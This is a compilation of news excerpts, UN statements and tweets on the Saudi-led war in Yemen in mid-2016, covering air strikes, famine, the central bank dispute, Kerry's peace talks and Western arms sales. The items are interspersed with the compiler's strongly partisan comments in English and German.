Waging genocidal war on a defenseless country was never so baldly and honestly put on any agenda for talks among US secretary of state John Kerry, representatives of Saudi Arabia's dictatorship, and their mutual allies, even though they are all engaged in an endless genocidal war on Yemen. This war is a war of aggression, started by Saudi Arabia in March 2015, with crucial US blessing, participation, personnel, and ordnance. The US has been a willing, guilty partner and enabler in 18 months of military atrocities in a one-sided war that everyone involved knew – or should have known – was a pure war crime based on a paranoid delusion.
The fundamental crime in Yemen is waging a war of aggression, which encompasses all thesubsequent war crimes including bombing civilians, using cluster bombs, bombing hospitals, bombing food supplies, and trying to starve a population to submission or death. Yemen, with a population of 26 million people, was the poorest country in the region even before it was attacked. What the US supports and sanctions against Yemen makes any US complaint about Russian actions in Crimea sound like howling hypocrisy.
For all that the Saudis frame their war on Yemen as a defense against a threat from Iran, there has never been any credible evidence of any credible threat to Saudi Arabia from any element of the miniscule Iranian presence in Yemen.
Terror bombing, an example of which is Saudi pilots flying American planes dropping American bombs on defenseless Yemeni civilian targets, is probably not the terrorism Secretary Kerry wants to discuss – ever – with the Saudis and their allies, never mind other weapons suppliers like France and the United Kingdom.
The US is at war with Yemen, in support of the Saudi-led coalition that launched its undeclared war of aggression on March 26, 2015.
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Middle East Correspondent Sophie McNeill travels to Yemen to report on a war that has now claimed more than 6500 lives, many of them children, in just 17 months.
Civilians make up nearly half of all casualties and, according to the UN, they have been deliberately targeted by the US-backed Saudi coalition. Hospitals, schools and homes have been bombed. Nearly 3 million people have fled their homes; 14 million are going hungry; 1.3 million children are severely malnourished.
"The hospitals, the schools, public buildings have not been spared in this war and that's been a tragedy,"the UN's Jamie McGoldrick tells Sophie McNeill in the capital Sana'a.
McNeill and cameraman Aaron Hollett travel under heavy security to the capital Sana'a and surrounding towns amid rising expectations of the conflict intensifying. They get out just before Saudi-led forces step up their bombing raids and push their troops closer to Sana'a.
As McNeill discovers, hospitals confront not only a steady stream of casualties amid a constant threat of air strikes, but also a lack of equipment and drugs. Thousands of dialysis patients are at risk; there are no medicines for 40,000 cancer patients.
The past three weeks have seen an escalation in the conflict in Yemen — and in reports of civilian casualties — after peace talks among the warring sides broke down and Saudi Arabia resumed a blistering air assault in areas surrounding Yemen's capital, Sana.
Ms. Sancristóval said Doctors Without Borders had pulled approximately 550 personnel from its facilities in northern Yemen, although the group would continue to provide medical supplies and funding to the hospitals.
Comment: Long and sound article, overview on the bombings in Yemen in the last weeks.
In Yemen's war of attrition, the Saudi-backed exiled government has now decided that the central bank is an easier target than the capital, shielded from its troops by 60 kilometers (40 miles) of daunting mountains teeming with fighters.
A decree this month to cut the bank from the outside world is aimed at using economic pressure to vanquish the Houthi fighters.
It means the Houthis may struggle to pay state employees, including teachers, doctors and the soldiers from an army that mostly fights on their side in the civil war.
But it also means that millions of people in territory controlled by both sides will become poorer, and a country that imports 90 percent of its food may have no way to feed itself.
Diplomats, economic experts and employees of the central bank itself say the move risks destroying the lifeline for millions of impoverished Yemenis and pushing the Arabian Peninsula's poorest country to the edge of starvation.
"There is a trend ... that what could not have been achieved by military means can be achieved through the economy, through an economic war," Rafat al-Akhali, a former cabinet minister, told Reuters.
The moves against the central bank were part of a new strategy: to "allow the economy to fail, and that's going to put more pressure on the Houthis" and their ally, ousted former president Ali Abdullah Saleh, he said.
Sources in Hadi's administration have said the president was looking to name a new board for the central bank and a new governor to replace Bin Humam, and to relocate the bank to the southern port city of Aden, which is under government control.
Farea al-Muslimi, an analyst with the Middle East Institute in Washington DC, said action against the central bank would cut "the only artery" holding the country together.
With the military conflict in Yemen at an impasse, a battle has now broken out between the two rival governments for control of the country's Central Bank. The squabble threatens to exacerbate an already dire economic situation because the bank is the source of wages for state employees and also provides credit guarantees for imports – including food.
The Central Bank is one of the few national institutions that has continued functioning throughout the war, paying state employees (including the military) regardless of which side they are on.
The bank is located in the capital, Sanaa, which is under the control of the Houthis and supporters of ex-president Ali Abdullah Saleh. Although the bank's governor, Mohammed Awad bin Humam, seems to have been trying to steer a middle course, the Houthi/Saleh side has benefited disproportionately according to Reuters – partly because they control most of the population centres and have most of the army on their side, but also because the Houthis transferred thousands of their militiamen to the state payroll after seizing the capital.
Comment by Judith Brown: An article by the insightful Brian Whittaker on the way that the Central Bank of Yemen is now being drawn into the war; the victims of course will be ordinary Yemeni people.
The oil-rich Kingdom of Saudi Arabia and its ruling family take a systematic approach to maintaining the country's positive image on the international stage. Most world governments engage in PR campaigns to fend off criticism and build relations in influential places. Saudi Arabia controls its image by monitoring media and buying loyalties from Australia to Canada and everywhereinbetween.
Documents reveal the extensive efforts to monitor and co-opt Arab media, making sure to correct any deviations in regional coverage of Saudi Arabia and Saudi-related matters. Saudi Arabia's strategy for co-opting Arab media takes two forms, corresponding to the "carrot and stick" approach, referred to in the documents as "neutralisation" and "containment". The approach is customised depending on the market and the media in question.
The initial reaction to any negative coverage in the regional media is to "neutralise" it. The term is used frequently in the cables and it pertains to individual journalists and media institutions whose silence and co-operation has been bought. "Neutralised" journalists and media institutions are not expected to praise and defend the Kingdom, only to refrain from publishing news that reflects negatively on the Kingdom, or any criticism of itspolicies. The "containment" approach is used when a more active propaganda effort is required. Journalists and media institutions relied upon for "containment" are expected not only to sing the Kingdom's praises, but to lead attacks on any party that dares to air criticisms of the powerful Gulf state.
One of the ways "neutralisation" and "containment" are ensured is by purchasing hundreds or thousands of subscriptions in targeted publications. These publications are then expected to return the favour by becoming an "asset" in the Kingdom's propaganda strategy.
The "neutralisation" and "containment" approaches are not the only techniques the Saudi Ministry is willing to employ. In cases where "containment" fails to produce the desired effect, the Kingdom moves on to confrontation. In one example, the Foreign Minister was following a Royal Decree dated 20 January 2010 to remove Iran's new Arabic-language news network, Al-Alam, from the main Riyadh-based regional communications satellite operator, Arabsat. After the plan failed, Saud Al Faisal sought to "weaken its broadcast signal".
Comment by Grace Walk: Now we know how #Yemengenocide news is muzzled and removed from global MSM.
In Yemen, a year of war?
Comment: Overview article. Bad translation.
In der saudischen Hafenstadt Dschidda kommen am Mittwoch (heute) die Außenminister der USA und Englands mit ihren Amtskollegen aus sechs Anrainerstaaten des Persischen Golfs zusammen.
Im Mittelpukt der zwei-tägigen Beratungen der acht Außenminister, an denen auch der UNO-Sondergesandte für Jemen, Ismail Ould Scheich Ahmed, sowie der russische Vizeaußenministner für den Nahost, Mikhail Bogdanov mit teilnehmen, steht die Jemen-Krise.
Wie aus den Diplomatenkreisen verlautete, wollen sich die Teilnehmer mit dem Friedensvorschlag von Scheich Ahmed befassen.
Kommentar: Alle sind Verbündete in diesem Krieg. Um wirklichen Frieden geht es hier nicht.
Press TV has interviewed former US Senate foreign policy analyst,James Jatras, and political commentator, Jihad Mouracadeh to discuss the mounting civilian casualties in Yemen.
From 16 to 19 July 2016, the 6th consultation meeting of Yemeni Eminent Personalities took place in Lebanon. The meeting was facilitated by the Berghof Foundation; it was organized in coordination with the Office of the UN Special Envoy of the Secretary General to Yemen and with kind support from the German Federal Foreign Office.
The group consisted of 20 eminent Yemeni personalities with diverse political affiliations, from different social components and various geographical areas. In order to allow for a constructive and open-minded discussion, the participants were asked to engage in the discussions on a strictly personal basis- not as official representatives of parties, groups or regions.
The meeting focused on the political dialogue of Yemeni parties and components that is due to take place after the signing of an agreement in the ongoing UN-led negotiations of the conflict parties.
"Life expectancy decline is traditionally regarded as a sign that the health and social systems are failing," said Ali Mokdad, a professor at the U.S.-based University of Washington, who led the research.
"The fact that this is happening in several countries indicates there is an immediate need to invest in health care systems," he said in a statement.
Comment: This article reflects a typical Western hypocrisy. For many countries, much more important than "an immediate need to invest in health care systems" would be to stop all these wars and bombings which are destroying the health systems; wars and bombings, which have been started, fueled, and equiped by Western countries and their allies themselves in Yemen, Syria, Libya, Iraq, Afghanistan. With greetings from Kunduz hospital in Afghanistan and the MSF team in Yemen.
It can be difficult to fathom the scale of the humanitarian disaster in Yemen. The country's infrastructure has been devastated, its health system is in ruins, more than three million people have been displaced internally, and half the country's population is on the verge of famine or close to being so. 14 million people are considered "food insecure." In terms of the sheer number of people at risk from starvation and preventable diseases, Yemen is now pretty clearly the worst humanitarian crisis on earth, and it has reached this point in just the last seventeen months since the Saudi-led intervention began. The blockade imposed by the Saudi-led coalition is most responsible for making the crisis as bad as it is.
The victims of the coalition's blockade often go unnoticed by the outside world, and there is scant awareness of the responsibility that the coalition and its Western backers have for creating this calamity.
Yemen's Transportation Ministry says 7,600 Yemenis are unable to return home after a Saudi-led military coalition ordered the closure of the international airport amid stepped-up air raids against Houthi rebels.
The rebel-controlled ministry said on Tuesday that many were receiving medical treatment abroad and in neighbouring Arab countries.
The Saudi-led coalition grounded flights into and out of the rebel-held capital of Sanaa earlier this month as it launched a wave of air raids following the breakdown of peace talks.
Comment: How dare they. The sick. The injured. Those who lost connection flights and visas due to #Saudis' shameless abuse: all of them stranded. People who sold land to travel and find treatment. Those who cannot return home and have no money/visa to stay abroad. Everything lost.
Yemen's situation is negatively impacted by halt in the peace negotiation, ongoing hostilities and worsening economic situation. The escalated conflict, higher prices of fuel and basic goods, and a considerable cash shortage are deeply affecting national systems – particularly the health system. Enormous humanitarian needs in Yemen are expected to increase in the coming months.
Despite challenges in humanitarian access, particularly in Taiz governorate and border locations, UNICEF and partners continued providing supplies across the country and mobile teams reached over 43,000 children, pregnant and lactating women with health and nutrition services.
During July, UNICEF's water trucking capacity increased granting access to safe water to more than 32,000 people (16,000 children) in communities not connected to the public water network. In addition, over 30,000 people (50 per cent children) benefited from the rehabilitation of rural water projects.
Yemeni children are paying a great price of the current conflict, not only with over 2,700 children killed and injured but also because of the devastating consequences of the deteriorating economic situation and declining public services. National systems are on the verge of collapse, especially the health system. The prices of the basic food basket in June were the highest in the last six months, while the prices of cooking gas, diesel and petrol increased significantly by 119 per cent, 78 per cent and 123 per cent respectively, higher than pre-crisis prices.
Comment by Hisham Al-Omeisy: One of many things that Saudi bombs & can never be repaired..our heritage. They share hateful ISIS mentality.
Yemen foreign ministry Condemns appointments of ambassadors to represent Yemen from Riyadh hotels.
Yemen praised Iran for endorsing the establishment of its Higher Political Council, describing the formation of the council as a major step toward restoration of peace in the Arab country.
Speaking to Tasnim News Agency in an interview published on Tuesday, Mohammad Abdul-Salam, spokesman for the Ansarullah movement and chief negotiator in the UN-sponsored peace talks in Kuwait, said he held a meeting with Iran's ambassador in Sana'a and the head of the Iranian Foreign Ministry's Persian Gulf Bureau to talk about the region's latest political developments.
The senior Yemeni official noted that he has thanked the Islamic Republic for acknowledging a recent national compromise in Yemen and formation of the Higher Political Council, which he hailed as a milestone in achieving peace and relieving the pains of Yemenis.
Abdul-Salam also stressed the need for a political solution to the conflicts in Yemen through political approaches, calling for efforts to organize "national institutions" to address the humanitarian and economic challenges caused by enemies and their mercenaries.
Comment: To be honest: This is a political support.
After about two years, the Yemeni parliament convened and passed the decision for the establishment of a political council to run the country's affairs through a majority vote.
The council was actually established in the void created after the resignation of the country's former president and government, and is expected to provide grounds for the presidential election and formation of a national unity cabinet in a matter of four months.
The main reason behind the establishment of this council was the failure of negotiations among various political sides in Kuwait with analysts believing that the failure of Yemen peace talks was a result of interference by Saudi Arabia in the course of Kuwait talks.
Comment: he already pomised to leave politics in 2011. He ought to leave politics and the country giving way to peace – as puppet president Hadi should.
3800 Tote, 6700 Verwundete: Alle Kriegsparteien im Jemen verstoßen gegen Völkerrecht und Menschenrechte, hatten die UN schon jüngst berichtet. Ihr Menschenrechtskommissar Al-Hussein dringt auf Konsequenzen.
Auf 22 Seiten listet der jüngste Lagebericht der Vereinten Nationen die Verbrechen aller Kriegsparteien im Jemen auf: Seit März 2015 wurden demnach mindestens 3799 Zivilisten getötet und 6711 verletzt. Sämtliche beteiligten bewaffneten Gruppierungen hätten sich schuldig gemacht, beklagte der UN-Hochkommissar für Menschenrechte, Said Raad al-Hussein (Artikelfoto) in Genf. Eindringlich forderte er eine unabhängige internationale Untersuchungskommission, um die Verantwortlichen für Gewalt und Willkür vor Gericht zu bringen.
Den Konfliktparteien werden willkürliche Angriffe auf Zivilisten zur Last gelegt. Dazu gehörten Bombardierungen von Wohngebieten, Märkten, Krankenhäusern und Schulen. Zivilisten seien mit Streubomben und Landminen sowie von Heckenschützen getötet worden. Verurteilt werden auch die Rekrutierung von Kindersoldaten, mutmaßliche Drohnenangriffe der USA und die Verfolgung von Bürgerrechtlern.
Comment: Es sind viel mehr Tote.
In light of the gravity of alleged breaches of international humanitarian law and international human rights law in Yemen, and given challenges faced by the national commission of inquiry, UN High Commissioner for Human Rights Zeid Ra'ad Al Hussein today called on the international community to establish an international, independent body to carry out comprehensive investigations in Yemen.
Comment by Iona Craig: Given recent UN action (see Saudi blacklisting fiasco) on Yemen chances of it happening or being independent = slim.
The U.N. human rights chief on Thursday called for an international investigation of rights abuses and violence in Yemen's civil war, which has killed thousands of people, as he insisted that a domestic panel set up to look into violations has not been up to the task.
The call from Zeid Ra'ad al-Hussein came as his Geneva office released a 22-page report chronicling abuses on both sides in the conflict, which pits the internationally recognized Yemeni government, backed by a Saudi-led coalition, against Shiite rebels known as Houthis and their allies.
In a statement, Zeid's office said he "called on the international community to establish an international, independent body to carry out comprehensive investigations in Yemen," noting in particularly "challenges" faced by the national panel set up under President Abed Rabbo Mansour Hadi — notably, security concerns.
Mohammad Ali Alnsour, who heads the Middle East and North Africa section of the U.N. Human Rights office, said a recent report by the national panel focused on alleged violations by the Houthis, and said a "more objective, more comprehensive" report of rights violations by all sides was needed.
Comment: the Hadi government's panel just looking at Houthis' crimes is a joke, as everybody could know from the start.
Transparency, accountability, needed on Saudi air strikes in Yemen: U.N.
The United Nations human rights office called on Thursday for more light to be shed on the Saudi-led coalition air strikes in Yemen and for violations including attacks on protected sites like hospitals to be punished.
Air strikes by the Saudi-led coalition are responsible for "the single largest part", some 60 percent, of the 3,799 civilians killed since March 2015 and it has committed other violations that may contravene international law, it said in a report.
Though the coalition had shared findings from its own internal investigations, "more transparency" was needed, Mohammad Ali Alnsour, chief of the Middle East and North Africa section of the U.N. human rights office, told a briefing in Geneva.
"The compensation of the victims is an important element but it is not the only element. We think there should be a kind of accountability and these violations not to be repeated again," he said.
Houthi rebels and allied forces loyal to former President Ali Abdullah Saleh, who rule the capital Sanaa, have carried out rocket and mortar attacks on residential areas and used landmines, the report said. These also constituted documented violations that should be addressed.
The rebels had imposed sieges on the northern town of Taiz and control the Red Sea port of Hodeida, it said.
Comment: There are actually much more victims of the war and the air raids as given by the UN.
Mohammad Ali Alnsour, chief of the Middle East and North Africa section of the U.N. human rights office, told a briefing in Geneva that "more transparency" was needed to have a complete overview of the situation in Yemen.
"The compensation of the victims is an important element but it is not the only element. We think there should be a kind of accountability and these violations not to be repeated again," he said.
The report however also accused Houthi rebels and forces loyal to former President Ali Abdullah Saleh of having conducted rocket and mortar attacks on residential areas as well as using landmines.
"All sides are responsible (for violations). There was targeting of civilian objects … like markets, like wedding ceremonies, hospitals, facilities that really under international humanitarian law is protected and have a special kind of legal protection," Alnsour said.
The U.N. however refused to declare that either warring side had committed war crimes.
UN special envoy hailed Oman's efforts and its positive role in settling the dispute in Yemen and expressed his thanks and appreciation to the Sultanate's government under the wise leadership of His Majesty Sultan Qaboos. In a statement to Oman News Agency (ONA), Ismail Ould Cheikh Ahmed, Special Envoy of the United Nations (UN) for Yemen, said that his recurrent visits to the Sultanate are due to the positive and neutral role played by the Sultanate on this issue, especially the Sultanate facilitated many consultations we had in Muscat.
Film: This is how #Saudisocial police behave with Saudi women.
The Kingdom of Saudi Arabia (KSA) is expected to increase their defense spending from $48 billion last year to $52 billion by 2019, IHS Janes Defense analysts reported on Monday.
This $4 billion surge in Saudi Arabia's defense spending is expected to surpass both Russia and France, leaving only China and the United States above this oil rich Gulf nation.
Comment: Other figures here: http://de.statista.com/statistik/daten/studie/157935/umfrage/laender-mit-den-hoechsten-militaerausgaben/ Saudi Arabia already exceeding Russia and France in 2015.
Saudi Arabia has suffered a crushing defeat in Yemen. The conflict appears to be only unpromising for them. Houthis and troops loyal to ex-president Saleh firmly hold North Yemen and are conducting military operations in the province of Najran on Saudi territory. South Yemen is experiencing intermingled control by Saudi coalition troops, Arabian Peninsula al-Qaeda, ISIS, and southern Yemeni separatists.
At the same time, Saudi Arabia has also been defeated in Syria. It failed to oust Bashar Assad and since the reorientation of Turkey towards Russia and Iran, the Saudi position has become more precarious.
The intervention in Yemen and the war in Syria are largely competing projects (at least some sources are trying to present it in this way). It should be understood that the Saudi Kingdom is now facing a fierce struggle among its elites.
Kerry said the international response to Yemen's civil war had fallen short of the region's needs, and pledged a renewed political and security approach to resume talks.
The secretary of state said the new "fair and sensible" plan calls for a unity government and a transfer of heavy weapons from the Houthi rebel group to a third party.
Comment: the sum is the cost of one day Saudi aerial war. - "Unity government": that's what the Houthis always asked for and the Hadi / Saudi side refused it. - "ransfer of heavy weapons from the Houthi rebel group": can you tell me why just the Houthis and not also all other militia – like the so-called "popular resitance" fighting against the Houthis should transfer their heavy weapons?? The US, Kerry is just partisan in this war, as peace broker the US just is defective.
Comment by Iona Craig: "In 12 months we made $20B selling arms to bomb your country. In return we'll give you $189M (< 1%) back in aid.
U.S. Secretary of State John Kerry held talks with Saudi Arabia's powerful deputy crown prince, Mohammed bin Salman, into the early hours of Thursday morning on ways to end Yemen's conflict and resume peace talks between the warring sides.
Kerry arrived in Jeddah from Nigeria for discussions with Saudi leaders and other Gulf Arab states and will also update them on U.S. meetings with Russia addressing military cooperation in Syria, a senior U.S. official said ahead of the talks.
Kerry will meet Saudi King Salman later on Thursday. Afterwards, he joins foreign ministers from Saudi Arabia, the United Arab Emirates, and British Under-Secretary for the Foreign Office Tobias Ellwood, to explore ways to end Yemen's 16-month conflict, which has killed about 6,500 people, half of them civilians.
U.S. Secretary of State John Kerry will present proposals on ending Yemen's conflict and resuming peace talks in meetings with Saudi leaders over the next two days, a senior U.S. official said on Wednesday.
As Kerry landed in Jeddah for the talks with Saudi leaders and other Gulf Arab states, the U.S. official said he would update them on U.S. meetings with Russia addressing military cooperation in Syria.
A major focus of the Yemen talks, which will include British and United Arab Emirates officials, will be to try to end a 16-month conflict that has killed more than 6,500 people, about half them civilians. A Saudi-led air campaign in Yemen against Iran-allied Houthi rebels has come under increasing scrutiny for causing a large number of civilian casualties.
A senior State Department official declined to elaborate on Kerry's proposals.
"The multilateral meeting on Yemen is designed to share ideas and initiatives for getting the political discussions back on track and trying to get a political solution," the official said. It would also address getting aid delivered.
Top US diplomat John Kerry arrives in Saudi Arabia later on Wednesday to push for peace in Yemen after UN-brokered talks collapsed despite world concern over mounting civilian casualties.
Over two days, Kerry is to meet Saudi Foreign Minister Adel Al Jubeir and other Gulf ministers.
He will also meet UN Yemen envoy Ismail Ould Cheikh Ahmed and Britain's Under Secretary of State for the Middle East Tobias Ellwood.
Peter Salisbury, associate fellow at London's Chatham House think tank, told AFP there is "mounting pressure" from certain groups within the US government to see the war ended as soon as possible.
"However, the Americans are limited in their ability to produce a meaningful political settlement."
He said the current international approach, relying on United Nations Security Council Resolution 2216, essentially demands surrender by the rebels who control the capital Sanaa.
"Demanding that they surrender unconditionally simply isn't going to work and my expectation is that, in a best case scenario, we will see many more months of war," Salisbury said.
He added that neither the rebels nor the government of President Abedrabbo Mansour Hadi is willing to make the necessary concessions for a peace deal.
Comment: Kerry to "Push peace" in Yemen, that's really ridiculous as the US pushed war in Yemen since the beginning, by supporting the Saudis.
Comment by Nasser Arrabyee: US needs to stop Saudi war crimes in Yemen Not only to stop backing such crimes.
Power's tweet and the response to it were also a preview of the challenge Secretary of State John Kerry faces as he travels this week to Saudi Arabia, where his goal is to get the peace process for Yemen back on track. Among those set to meet with Kerry are the U.N. special envoy to Yemen, Ismail Ould Cheikh Ahmed, and officials from other Saudi-allied Arab states involved in battling what they see as a serious threat from Iran.
Kerry has been "seized" with the issue of Yemen, a former administration official familiar with the topic told POLITICO, but he had wanted to give Ahmed time to maneuver. "The secretary's view was if that didn't work, that if the U.N. couldn't bring this thing to an end, he was prepared to jump in," the former official said.
Now Kerry's in, and U.S. officials are hoping for a rare diplomatic success in a Middle East that has bedeviled President Barack Obama and damaged his foreign policy legacy.
Despite its supposed turn away from Gulf allies—and a pivot toward Iran, underscored by the considerable political capital expended to reach last year's nuclear deal—the Obama administration has dramatically ramped up arms sales to Saudi Arabia and other Arab allies in the Gulf. Since 2010, the administration has authorized a record $110 billion in military sales to Saudi Arabia, according to theCongressional Research Service. Over the past six years, Obama and his aides have concluded deals for nearly $48 billion in weapons sales, according to a Reuters investigation of Saudi military spending—triple the $16 billion in sales under the George W. Bush administration.
Monday's bombing by the Saudi-led coalition of yet another Médecins Sans Frontières (MSF, Doctors Without Borders) hospital in Yemen, which killed 11 people and wounded at least 19 more, earned a rare admonition of the Saudis by the U.S. State Department.
"Of course, we condemn the attack," State Department spokeswoman Elizabeth Trudeau uncharacteristically asserted.
Why the U.S. chose this particular MSF hospital bombingto step outside its usual deferral of reporters to the Saudi government to answer for egregious and deadly military blunders remains unclear.
Of course, welcome though this rebuke might be, the U.S. continues to supply the coalition with billionsin weapons and supplies, as well as providing refueling for Saudi jets.
Comment: Had already been reported, see former YPRs.
The State Department has made a determination approving a possible Foreign Military Sale to the Kingdom of Saudi Arabia for M1A2S Saudi Abrams Main Battle Tanks and M88Al/A2 Heavy Equipment Recovery Combat Utility Lift Evacuation System (HERCULES) Armored Recovery Vehicles (ARV), equipment, training, and support. The estimated cost is $1.15 billion. The Defense Security Cooperation Agency delivered the required certification notifying Congress of this possible sale on August 8, 2016.
The proposed sale will improve Saudi Arabia's capability to meet current and future threats and provide greater security for its critical infrastructure. The addition of these tanks and recovery vehicles to the RSLF's inventory will enhance Saudi Arabia's ability to support its soldiers in the field and to defend the Kingdom's borders. Saudi Arabia will have no difficulty absorbing these vehicles into its armed forces.
Minister for the Middle East, Tobias Ellwood, is in Saudi Arabia today for talks about the ongoing conflict in Yemen.
The talks follow meetings of the "Quadrilateral" group which met for the first time in London in July.
He will meet US Secretary of State John Kerry, Saudi Arabian Foreign Minister Adel Al Jubeir and United Arab Emirates Foreign Minister Abdullah bin Zayed Al Nahyan, as well as the UN's Special Envoy to Yemen, Ismail Ould Cheikh Ahmed.
Comment: Ellwood, incredible defender of arms sales to Saudi Arabia, denier of Saudi war crimes, ridiculous in his statements, but dangerous and bloody in the consequences.
The suffering in Yemen is largely swathed in silence. This is despite, or perhaps because of, the huge British role in the conflict.
This support has its roots in the vast interlocking business relationships that tie the British elite in with the ruling establishments in the Gulf. This has long been based of course in the exploitation of oil resources but now extends to arms sales and financial and investment ties which make the Gulf despots almost a part of the British establishment. This is hugely profitable to Britain's rulers. The debt is paid in political support.
In return for selling the Saudi Arabian government vast quantities of armaments over many decades – some £3.3bn in value in the last year alone, much of it for the war in Yemen – Britain asked for comparatively little in return. One of the few conditions required of these deals was a commitment not to target civilians. The charge now is that the Saudis have breached that condition.
In practical terms, the onus for determining the extent of any war crimes by the Saudi-led coalition, and of the culpability of Houthi forces, rests with the British Government. For it is they who must determine whether the terms of our arms treaties have been breached, and whether arms supplies should be cut off. The responses by ministers have been confused and confusing.
@DesmondSwayne's claims Yemen bombings might be Houthi 'inside job' shows laughable desperation of UK govt trying to defend indefensible.
Comment by Hisham Al-Omeisy: UK: Y single out, everyone selling arms to Saudi! - But you defend & make imbecilic stmnts, adding insult to injury.
Dass die transatlantischen Propagandasender ARD und ZDF den Krieg im Jemen weitestgehend totschweigen hat einen einfachen Grund: Es ist neben Syrien und der Ukraine ein weiterer Stellvertreterkrieg der USA mit tausenden Toten, Verkrüppelten und Vertriebenen.
Abdulhameed Dashti, member of Kuwaiti parliament, said two arrest warrants have been issued against him, one through Interpol, for participating in the International Conference for the Support of the Yemeni People.
The two days International Conference for the Support of the Yemeni People was held in London on 20-21 August, 2016. Activists and journalists from Arab as well as other countries across the globe took part in the event to show solidarity with the Yemeni people against the Saudi-led aggression.
Dashti stressed those warrants were the result of Saudi pressure directed against his vocal opposition to the Kingdom's aggressions in Yemen.
Medien berichteten, dass Jemens gestürzter Präsident Ali Abdullah Salih sein Land als Stützpunkt für Russlands Truppen angeboten habe. Darauf werde Moskau nicht eingehen, heißt es aus russischen Militärkreisen.
Russland hat nicht die Absicht, Kampfjets oder Militärtechnik im Jemen zu stationieren, wie RBTH aus Militärkreisen erfuhr. "Das Land befindet sich in einem Bürgerkrieg. Da wäre es nötig, nicht nur die Luftwaffe, sondern gleich das gesamte Militärkontingent dort zu stationieren, um unsere Soldaten zu schützen. Diese Entscheidung wäre sehr leichtsinnig und würde viele politische und militärische Probleme nach sich ziehen", sagte die Quelle, die anonym bleiben wollte, zu RBTH.
Einige Medien hatten zuvor berichtet, dass der ehemalige jemenitische Präsident Ali Abdullah Salih Russland vorgeschlagen habe, Militärstützpunkte, Flughäfen und Häfen seines Landes zu nutzen.
n jüngster Zeit wollten zahlreiche Beobachtereine stärkere Annäherung zwischen Paris und den Staaten des Golf-Kooperationsrates (GCC) festgestellt haben, die auch mit einer stärkeren französischen Präsenz in der Region einhergeht.
For Saudi Arabia is now engaged front and centre in armed conflict in Yemen. Thus, it is not just the risk of a serious violation of IHRL that is at stake but also the risk of a serious violation of international humanitarian law (IHL) – the law that prohibits certain acts in armed conflict. This has significant implications for those exporting nations that are party to the ATT.
The first test that must be considered in assessing the potential for a serious violation of IHL to occur is easily met: there is clearly an armed conflict affecting a possible recipient of an arms export. Saudi Arabia is party to at least a non-international armed conflict with the Houthis, and arguably it is an international armed conflict against the regime that is, today, in effective control of much of Yemen.
Drone strikes killed seven Al-Qaeda suspects travelling in cars in provinces of southern and eastern Yemen on Wednesday, security sources said.
Three people died when a rocket fired from a drone struck their vehicle in a desert area of Marib province, east of Yemen's rebel-held capital Sanaa, a security source said.
Another security official said a separate drone attack in the southern province of Shabwa killed four suspects in a car on a road leading from provincial capital Ataq to nearby Nisab.
Comment: "Al-Qaeda suspects", that is what we always are told, who ever eally was hit.
Yemeni police forces on Wednesday detained a senior al-Qaeda leader in the southern Aden city.
In a statement, police said the militant, identified as "Abu Azrael", was nabbed during a security operation in eastern Aden.
According to the statement, the militant was responsible for a spate of assassinations in the southern city.
Dass das [Vorwurf des Einsatzes von Kindersoldaten] gerade von saudischer Seite geäußert wird, mag bizarr erscheinen, aber das ist genau die Art, wie diese Propaganda arbeitet.
So soll die Wiederholung dieses Vorwurfs gegen die Huthis von saudischer Seite eben nicht nur dazu dienen, den Gegner schlechtzumachen, sondern vor allem dazu, sich selbst vom Vorwurf weißzuwaschen, die Rechte von Kindern zu verletzen.
Houthi militias and forces of the ousted president Ali Abdullah Saleh did not withdraw from Aden, Lahij and Dhale (in the south of the country) until they had already damaged, stolen and destroyed Yemen's historic, spiritual and cultural landmarks.
Asharq Al-Awsat visited these cities and saw the destruction by the militias that have turned landmarks into barracks to settle in.
Comment: Is this more than propaganda? Which historical buildings really had been destroyed by the Houthis? Of course, there could be some. But the author was not able to name a single one. In any case, a great lot of historical buildings was destroyed by Saudi air raids. Of course, that is not mentioned by any word here. This makes this article a joke.
Comment by Judith Brown: Can you believe this? A Saudi newspaper criticises the militias in Yemen for destroying Yemen's cultural heritage. Whilst they have bombed historic site after historic site - the old city of Sanaa, the museum at Dhamar, the Al Qahira citadel at Taiz, the ancient city of Baraquish, the Al Hadi mosque that was from the times of the prophet pbuh, the old city of Saada, the Marib Dam, the Assad Al Kamal caves in Ibb, the ancient city of Kawkaban, the ancient city of Mahweet, altogether at least 52 ancient sites. How two faced can they get? Even in Aden the coalition was responsible for much of the destruction, such as buildings in the port of Aden from the British occupation, and ancient castles. I can't believe they have the cheek to report this as if they are innocent when they have unleashed destruction on Yemen's ancient monuments that Yemeni people have preserved so wonderfully over many centuries.
Yemen's Prime Minister Ahmed Obeid bin Daghr stressed the need for the country to maintain its unity amid separatist protests in the south and the failure for reaching a breakthrough between its two warring sides.
Daghr stated that the issue of Yemen's unification as "complex" and one that will take time to tackle, and revealed that it was an issue that was addressed during the national dialogue conference.
"The political forces that attended the national dialogue agreed that Yemen needs to maintain its unity, though restructuring it is a necessity," Daghr said in an interview with Egypt's state-owned news site Ahram Online.
The Yemeni premier's comments come amid demonstrations in the countries' south calling for a secession from the Houthi-controlled north.
The Southern Mobility Movement, more commonly known as al-Hirak – 'the movement' in Arabic – advocates for a return of the independence of south Yemen.
Yemeni legitimate President Abd Rabbu Mansur Hadi reaffirmed that the putschists, in the country, seek to import the Iranian experience, in government, to Yemen.
During a meeting with a number of Yemeni preachers and scholars, Hadi said that Houthis and ousted Saleh work to disseminate alien thoughts in Yemen, under the cover of regionalism and sectarianism, and to apply the agenda of the Iranian system of governance.
Yemeni president renewed his accusations to the militia of Houthi and Saleh, for conspiring against the draft of the new Federal Constitution of Yemen, which emerged from the National Dialogue Conference, in an effort to implement their racialist sectarian scheme.
Comment: Hadi no more is the "Yemeni legitimate President". Playing again the Iranian card, not telling at all, what this "Iranian experience" should be, or what "alien thoughts" the Houthis would "disseminate" in Yemen, or why their scheme should be " racialist sectarian". But what is clear: The Saudis, Had's own puppet masters, have spread their Wahabism, the most horrible sectarian scheme possible, in Yemen for many decades now. And with his new constitutio and it's new regional order, Hadi had tried to palm off the Houthis – and just failed. The Saudi intervention finally made obsolete all possibilities to discuss this constitution any further.
A man was killed on Wednesday in Saudi air raids on al-Sadda district of Ibb province, general director of al-Sadda district said.
The Saudi airstrikes targeted the bridge linking between al-Sadda and al-Naderah districts, Akram al-Sayadi said.
On that note, couple of Saudi airstrikes now near Sana'a airport. Already bombed #Yemenfighter jets, passenger jets, so.. going for tarmac?
Raining MISSILES: 4 Saudi airstrikes in 10 minutes bombard #Yemencapital waking up 100,000s & still counting.
DIRTY WAR: 3 Strategic bridges in #Yemendestroyed in 48 hrs by Saudi airstrikes separating 100,000s families apart.
